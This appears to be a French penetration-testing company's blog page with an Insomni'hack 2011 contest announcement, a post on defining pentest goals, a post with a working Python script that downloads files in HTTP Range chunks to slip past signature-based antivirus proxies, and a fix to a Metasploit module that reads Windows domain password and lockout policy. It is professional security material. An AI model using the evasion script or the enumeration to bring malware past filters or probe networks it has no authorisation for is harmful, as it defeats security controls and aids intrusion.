Insomni’hack 2011 : the final countdown !

Bonjour à tous,

Le “grand jour approche”, voici quelques informations utiles à la journée/soirée du 04/03.

Adresse de l’École :
HEPIA
Rue de la Prairie 4
1012 Genève

Conférences
Pour les conférences, le rendez-vous est fixé à 13h30 devant la salle AULA (RDC, Bâtiment B).
Les frais d’inscriptions (90 CHF) seront encaissés à l’entrée de la salle, en espèces (si possible munissez-vous du compte exact pour faciliter la transaction).
Nous accepterons les euros, nous rendrons toutefois la monnaie en Francs Suisses.

Concours
Le concours (gratuit comme chaque année) débutera à partir de 18h, et se tiendra dans la cafétéria de l’école (RDC, Bâtiment B).
Chaque participant devra se munir de son propre câble réseau.
Pour les personnes venant de l’étranger, pensez à apporter un adaptateur (prise suisse : 3 fiches).
Nous vous rappelons que cette année les équipes sont autorisées (maximum 6 personnes).
L’accès au panneau d’administration sera remis au capitaine de l’équipe.
ATTENTION : le nombre maximal de places ayant été atteint, nous ne pourrons autoriser l’accès qu’aux personnes inscrites et ayant reçu une confirmation d’inscription.

Autre nouveauté : en principe, un accès internet Wireless sera fourni par l’HEPIA, pendant toute la durée du concours.
De la restauration chaude et froide sera à disposition pendant la soirée

Plus de 30 épreuves différentes et de nombreuses autres surprises vous attendent : nous nous réjouissons de vous voir vendredi!

L’importance de définir un but à un test d’intrusion

La valeur ajoutée d’un test d’intrusion, si on le compare à un simple scan de vulnérabilités, est le fait de mettre les résultats obtenus dans un contexte spécifique permettant de déterminer les vrais risques encourus par une société à cause d’une certaine vulnérabilité. Par exemple, un scanner automatisé ne sera pas en mesure de différencier l’impact d’une injection SQL sur un serveur Web hébergé chez un fournisseur externe ne contenant aucune donnée sensible et une injection SQL sur un site dont la base de données est hébergée sur le réseau interne et dont la compromission aboutirait à un accès distant sur le réseau privé de l’entreprise.

Il est donc évident que le contexte dans lequel une faille est découverte est important. Le pentester peut alors utiliser son expérience pour déterminer la criticité de cette dernière. Mais souvent cela ne suffit pas à donner une réelle idée du risque encouru par la société. En effet, en tant que pentester, il n’est pas toujours facile d’identifier quels sont les actifs critiques d’une société. Est-ce que le vol du contenu d’un site d’e-banking a le même impact que sur un site journalistique? La réponse semble évidente, du fait que la plupart des informations sur le deuxième site est de toute façon accessible à tout le monde. Mais dans la plupart des cas, la réponse n’est pas aussi simple et il est toujours embêtant de passer du temps à exploiter une faille pour récupérer des données pour se rendre compte au final qu’elles n’ont aucune réelle valeur pour le client.

Afin d’éviter ce type de problème, il est très important de définir un ou plusieurs buts lors du démarage d’un test d’intrusion. Un simple “piratez notre réseau” ne suffit pas. Afin que le test soit réussi et surtout utile pour un client, il faut tout d’abord déterminer avec lui quels sont les vrais risques liés à une attaque informatique pour l’entreprise. Quelle information doit être protégée à tout prix? Cela permet alors aux pentesters de cibler plus précisément leurs attaques et au final de pouvoir présenter des résultats pertinents qui peuvent être utilisés pour améliorer le niveau de sécurité.

On peut par exemple imaginer quelques buts tels que les suivants:

  • Accéder à distance au réseau interne
    • Par des attaques techniques
    • Par du social engineering
  • Compromettre un compte administrateur de l’application X en partant d’un compte lambda
  • Devenir administrateur du domaine depuis un poste client

Certains de ces buts peuvent paraitre évidents et certains diront qu’il s’agit du but de tout test d’intrusion, mais ce n’est pas toujours le cas, d’où l’importance de définir à l’avance les buts du test en collaboration avec le client. Cela lui permettra d’exploiter de la meilleure manière les résultats du test.

Bypass “Simple” de proxy antivirus

Lors d’un pentest, il n’est pas rare de rencontrer un serveur proxy filtrant l’accès Internet. Dans certains cas, le proxy va jusqu’à analyser les fichiers téléchargés afin de vérifier qu’ils ne contiennent pas de virus, ce qui peut être problématique.

En partant du principe que l’antivirus proxy fonctionne à l’aide de signatures, l’objectif est de trouver un moyen pour altérer le fichier afin que la signature le “match” pas notre fichier à télécharger.

Une des possibilités offertes par HTTP est de permettre le découpage de la réponse en morceaux, délimités par des offsets, de la réponse. Ce type de fonctionnement est prévu pour être utilisé dans le cas ou un téléchargement doit être mis en pause, puis repris à un endroit précis.

A l’aide de l’en-tête Range: bytes=x-y il est possible de récupérer les octets de x à y de la réponse.


GET /alphabet.txt HTTP/1.1
Host: localhost
Range: bytes=5-10

HTTP/1.1 206 Partial Content
Date: Mon, 30 Aug 2010 14:17:28 GMT
Server: Apache/2
Last-Modified: Mon, 30 Aug 2010 14:17:14 GMT
Accept-Ranges: bytes
Content-Length: 6
Content-Range: bytes 5-10/26
Content-Type: text/plain

fghijk

De là, en découpant le fichier à télécharger en plusieurs morceaux assez petits pour ne pas matcher la signature, le téléchargement devient possible.

A noter que cette méthode ne fonctionne que si le serveur l’accepte. Cela peut être testé en envoyant une requête avec l’en-tête Range. Si le serveur envoie une réponse avec le code HTTP 206 (Partial content), le serveur supporte le découpage.


GET /download/eicar.com HTTP/1.1
Host: eicar.org
Range: bytes=0-0

HTTP/1.1 206 Partial Content
Date: Mon, 30 Aug 2010 14:14:51 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Fri, 04 Jul 2008 10:38:03 GMT
ETag: "116a04b-44-45130520238c0"
Accept-Ranges: bytes
Content-Length: 1
Content-Range: bytes 0-0/68
Content-Type: application/x-msdos-program

Comme on peut le voir ici, l’en-tête Content-Range affiche les bytes envoyés, ainsi que la taille totale du fichier (68 bytes dans cet exemple).

Afin de développer ce concept, le code Python suivant permet de récupérer un fichier en le découpant en morceaux.


# -*- coding: utf-8 -*-

#
#USAGE
#python <scriptname> <url>
#

import urllib2, sys

index=0

chunks=20

URL=sys.argv[1]
fName=URL[URL.rfind('/')+1:]

req=urllib2.Request(URL)
req.add_header("Range","bytes=0-0")
data=urllib2.urlopen(req)

if data.getcode()!=206:
print "Server does not support chunking. Exiting..."
sys.exit(0)

length = data.info().getheader("Content-Range")
length=int(length[length.rfind('/')+1:])

print "File length is "+str(length)+" bytes"

chunkSize = int(length/chunks)

output=open(fName,'wb')

while index < length:
req=urllib2.Request(URL)
req.add_header("Range","bytes="+str(index)+"-"+str(index+chunkSize))
data=urllib2.urlopen(req)
print str((index*100)/length)+"%"
output.write(data.read())
index=index+chunkSize+1
output.close()
print 'done'

Ce script à été testé sur quelques proxies transparents filtrant les virus, et tous ont permis le téléchargement du virus EICAR.

Metasploit : Afficher la politique de mots de passe

Il n’est plus nécessaire de présenter Metasploit. Véritable trousse à outils du pentester, les nombreux modules présents permettent d’effectuer un nombre d’opérations au sein d’un seul et même outil.

Lors du pentest d’une infrastructure Windows, nous avons eu besoin de récupérer la politique de mots de passe afin de savoir combien d’essais de login peuvent être tentés avant de bloquer le compte. En cherchant parmi les modules disponibles, rien de tel n’existe, il a fallu passer par d’autres outils pour obtenir ces informations.

L’idée de développer un module pour Metasploit permettant de récupérer cette politique a donc fait son chemin, et nous avons commencé par analyser le fonctionnement des modules interrogeant un contrôleur de domaine afin de comprendre leur fonctionnement.

En analysant le module smb_enumusers, un morceau de code à retenu notre attention :


# Password information
stub = dhandle + [0x01].pack('v')
dcerpc.call(8, stub)
resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
if(resp and resp[-4,4].unpack('V')[0] == 0)
mlen,hlen = resp[8,4].unpack('vv')
domains[domain][:pass_min] = mlen
domains[domain][:pass_min_history] = hlen
end
[...]
# Lockout Threshold
stub = dhandle + [12].pack('v')
dcerpc.call(8, stub)
resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
if(resp and resp[-4,4].unpack('V')[0] == 0)
lduration = resp[8,8]
lwindow = resp[16,8]
lthresh = resp[24, 2].unpack('v')[0]
domains[domain][:lockout_threshold] = lthresh
domains[domain][:lockout_duration] = Rex::Proto::SMB::Utils.time_smb_to_unix(*(lduration.unpack('V2')))
domains[domain][:lockout_window] = Rex::Proto::SMB::Utils.time_smb_to_unix(*(lwindow.unpack('V2')))
end

Apparemment, ce module devrait déjà récupérer et afficher la politique de mots de passe en utilisant des appels RPC, mais ne le fait pas. Pour comprendre pourquoi, lançons Wireshark et observons ce qui est transmis entre le client et le contrôleur de domaine :

Tiens tiens, les premières requêtes sont correctement traitées par le serveur, mais certaines requêtes ne sont pas autorisées et le serveur renvoie un STATUS_ACCESS_DENIED… Pour en savoir plus, regardons le contenu d’une de ces requêtes :

Comme on peut le voir, la requête envoyée est de type SamrQueryInformationDomain (Type 8 ) et de sous-type 12 (SamrDomainLockoutInformation). En cherchant dans MSDN, on tombe sur cet article qui décrit le fonctionnement de cette requête :

http://msdn.microsoft.com/en-us/library/cc245779(PROT.13).aspx

En lisant la documentation liée, on tombe sur ceci :

Upon receiving this message, the server MUST process the data from the message subject to the following constraints:

  1. DomainHandle MUST have the required access specified in section 3.1.2.1. Otherwise, the server MUST return STATUS_ACCESS_DENIED.

OK, maintenant, nous savons que le problème provient sûrement d’un manque de droits réclamés lors de l’obtention du DomainHandle. Ce DomainHandle est obtenu lors de l’appel à la fonction SamrOpenDomain, qui doit être appelée avant tout appel aux fonctions concernant un domaine. Une nouvelle recherche dans MSDN nous indique (http://msdn.microsoft.com/en-us/library/cc245748(PROT.10).aspx) que la fonction SamrOpenDomain prend en second paramètre un champ DesiredAccess Le format de ce paramètre est défini ici : http://msdn.microsoft.com/en-us/library/cc245522(v=PROT.10).aspx

La constante qui nous intéresse est DOMAIN_READ_PASSWORD_PARAMETERS. La valeur de cette constante est donnée pour 0x00000001.

Comment vérifier si ce droit est correctement demandé lors de l’appel à SamrOpenDomain ? Wireshark va nous aider :

La valeur de DesiredAccess est positionnée à 0x00000304, comme prévu, l’accès qui nous intéresse n’a donc pas été demandé par le module et c’est donc bien pour cela que la politique de mots de passe n’est pas récupérée. En observant à nouveau le module Metasploit, on retrouve facilement l’endroit ou est définie cette valeur :


# Open
stub =
phandle +
NDR.long(0x00000304) +
NDR.long(4) +
[1,4,0].pack('CvC') +
domains[domain][:sid_raw]

Modifier cette valeur à 0x00000305 (0x00000304 (valeur initiale) + 0x00000001 (DOMAIN_READ_PASSWORD_PARAMETERS)) permet de corriger ce bug et ainsi de faire fonctionner le module de manière correcte :

msf auxiliary(smb_enumusers) > exploit
[*] XX.XX.XX.XX DOMAIN [ Administrator, Guest, krbtgt ] ( LockoutTries=5 PasswordMin=7 )

Ce bug ainsi que sa résolution ont été soumis à l’équipe de développement de Metasploit et a ainsi été corrigé.